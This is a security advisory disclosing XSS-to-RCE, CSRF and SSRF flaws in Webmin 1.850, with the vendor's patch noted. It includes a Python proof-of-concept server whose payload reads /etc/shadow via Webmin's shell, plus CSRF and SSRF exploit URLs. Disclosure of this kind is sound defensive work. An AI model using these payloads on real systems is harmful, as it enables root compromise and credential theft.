Webmin 1.850 SSRF / CSRF / Cross Site Scripting

Webmin version 1.850 suffers from server side request forgery, cross site request forgery, and cross site scripting vulnerabilities.


MD5 | e8275ecd6d49c4502a0718560697279c

[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec



Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850

Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.

The vulnerabilities found are:

XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery

Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities.

For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html


Vulnerability details
XSS vulnerability that leads to Remote Code Execution

Under Webmin menu Others/File Manager there is option to download a file from a remote server Download from remote URL.

By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.

Webmin echo back the File Download request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.

Proof of Concept


import socket

#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root

PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim

#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")

s = socket.socket()
HOST = ''
s.bind((HOST, PORT))
s.listen(5)

print '\nwebmin file download 0day...'

while True:
conn, addr = s.accept()
conn.send(CMD+'\r\n')
print 'Connected!'
print s.recv(1024)
conn.close()
s.close()




CSRF Schedule arbitrary commands

User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.

Proof of Concept

http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery

User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability

Proof of Concept


http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Securitys SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3430




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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